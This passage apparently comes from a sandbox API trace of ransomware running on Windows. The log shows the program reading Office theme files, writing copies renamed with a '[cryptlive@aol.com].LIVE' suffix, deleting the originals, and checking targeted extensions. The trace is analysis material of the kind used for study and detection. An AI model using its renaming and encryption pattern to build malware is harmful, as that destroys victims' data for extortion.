lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.342] SetEndOfFile (hFile=0x388) returned 1 [0136.342] CloseHandle (hObject=0x388) returned 1 [0136.342] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.342] SetEndOfFile (hFile=0x390) returned 1 [0136.348] CloseHandle (hObject=0x390) returned 1 [0136.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString=".doc") returned 4 [0136.350] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".docx") returned 5 [0136.350] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.350] lstrlenW (lpString=".pdf") returned 4 [0136.350] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".xls") returned 4 [0136.350] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".xlsx") returned 5 [0136.350] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.350] lstrlenW (lpString=".ppt") returned 4 [0136.350] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString=".zip") returned 4 [0136.350] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".rar") returned 4 [0136.350] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".bz2") returned 4 [0136.350] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString=".7z") returned 3 [0136.350] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString=".dbf") returned 4 [0136.350] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString=".1cd") returned 4 [0136.350] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString=".jpg") returned 4 [0136.350] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.351] lstrlenW (lpString=".doc") returned 4 [0136.351] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".docx") returned 5 [0136.351] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.351] lstrlenW (lpString=".pdf") returned 4 [0136.351] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".xls") returned 4 [0136.351] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".xlsx") returned 5 [0136.351] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.351] lstrlenW (lpString=".ppt") returned 4 [0136.351] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.351] lstrlenW (lpString=".zip") returned 4 [0136.351] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".rar") returned 4 [0136.351] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".bz2") returned 4 [0136.351] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString=".7z") returned 3 [0136.351] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.351] lstrlenW (lpString=".dbf") returned 4 [0136.351] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.351] lstrlenW (lpString=".1cd") returned 4 [0136.351] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0136.351] lstrlenW (lpString=".jpg") returned 4 [0136.351] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.352] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.352] lstrlenW (lpString="Median.eftx") returned 11 [0136.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.353] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=39546) returned 1 [0136.353] CloseHandle (hObject=0x390) returned 1 [0136.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0136.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.392] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.392] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.393] GetLastError () returned 0x0 [0136.393] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0136.395] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0136.396] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.396] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0136.396] SetEndOfFile (hFile=0x3ac) returned 1 [0136.397] CloseHandle (hObject=0x3ac) returned 1 [0136.397] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.397] SetEndOfFile (hFile=0x3b0) returned 1 [0136.406] CloseHandle (hObject=0x3b0) returned 1 [0136.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0136.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.407] lstrlenW (lpString=".doc") returned 4 [0136.407] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString=".docx") returned 5 [0136.407] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.407] lstrlenW (lpString=".pdf") returned 4 [0136.407] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString=".xls") returned 4 [0136.407] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString=".xlsx") returned 5 [0136.407] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.407] lstrlenW (lpString=".ppt") returned 4 [0136.407] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.407] lstrlenW (lpString=".zip") returned 4 [0136.407] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString=".rar") returned 4 [0136.407] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.407] lstrlenW (lpString=".bz2") returned 4 [0136.408] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".7z") returned 3 [0136.408] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".dbf") returned 4 [0136.408] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".1cd") returned 4 [0136.408] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".jpg") returned 4 [0136.408] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".doc") returned 4 [0136.408] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".docx") returned 5 [0136.408] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.408] lstrlenW (lpString=".pdf") returned 4 [0136.408] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".xls") returned 4 [0136.408] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".xlsx") returned 5 [0136.408] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.408] lstrlenW (lpString=".ppt") returned 4 [0136.408] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".zip") returned 4 [0136.408] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".rar") returned 4 [0136.408] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".bz2") returned 4 [0136.408] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.408] lstrlenW (lpString=".7z") returned 3 [0136.408] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.408] lstrlenW (lpString=".dbf") returned 4 [0136.409] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.409] lstrlenW (lpString=".1cd") returned 4 [0136.409] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0136.409] lstrlenW (lpString=".jpg") returned 4 [0136.409] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.409] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.409] lstrlenW (lpString="Module.eftx") returned 11 [0136.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.411] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=43357) returned 1 [0136.411] CloseHandle (hObject=0x3b0) returned 1 [0136.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0136.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.411] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.411] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.412] GetLastError () returned 0x0 [0136.412] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xa95d, lpOverlapped=0x0) returned 1 [0136.414] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa960, lpOverlapped=0x0) returned 1 [0136.416] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.416] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0136.416] SetEndOfFile (hFile=0x3ac) returned 1 [0136.416] CloseHandle (hObject=0x3ac) returned 1 [0136.417] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.417] SetEndOfFile (hFile=0x3b0) returned 1 [0136.421] CloseHandle (hObject=0x3b0) returned 1 [0136.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0136.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.422] lstrlenW (lpString=".doc") returned 4 [0136.423] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".docx") returned 5 [0136.423] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.423] lstrlenW (lpString=".pdf") returned 4 [0136.423] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".xls") returned 4 [0136.423] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".xlsx") returned 5 [0136.423] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.423] lstrlenW (lpString=".ppt") returned 4 [0136.423] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString=".zip") returned 4 [0136.423] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".rar") returned 4 [0136.423] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".bz2") returned 4 [0136.423] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString=".7z") returned 3 [0136.423] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString=".dbf") returned 4 [0136.423] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString=".1cd") returned 4 [0136.423] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString=".jpg") returned 4 [0136.423] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.423] lstrlenW (lpString=".doc") returned 4 [0136.424] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".docx") returned 5 [0136.424] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.424] lstrlenW (lpString=".pdf") returned 4 [0136.424] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".xls") returned 4 [0136.424] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".xlsx") returned 5 [0136.424] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.424] lstrlenW (lpString=".ppt") returned 4 [0136.424] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.424] lstrlenW (lpString=".zip") returned 4 [0136.424] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".rar") returned 4 [0136.424] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".bz2") returned 4 [0136.424] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString=".7z") returned 3 [0136.424] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.424] lstrlenW (lpString=".dbf") returned 4 [0136.424] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.424] lstrlenW (lpString=".1cd") returned 4 [0136.424] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0136.424] lstrlenW (lpString=".jpg") returned 4 [0136.424] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.424] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.424] lstrlenW (lpString="Newsprint.eftx") returned 14 [0136.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.426] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=582401) returned 1 [0136.426] CloseHandle (hObject=0x3b0) returned 1 [0136.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0136.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.426] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.426] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.431] GetLastError () returned 0x0 [0136.431] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0136.449] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0136.463] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.463] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0136.463] SetEndOfFile (hFile=0x3ac) returned 1 [0136.463] CloseHandle (hObject=0x3ac) returned 1 [0136.463] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.464] SetEndOfFile (hFile=0x3b0) returned 1 [0136.535] CloseHandle (hObject=0x3b0) returned 1 [0136.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.577] DeleteFileW 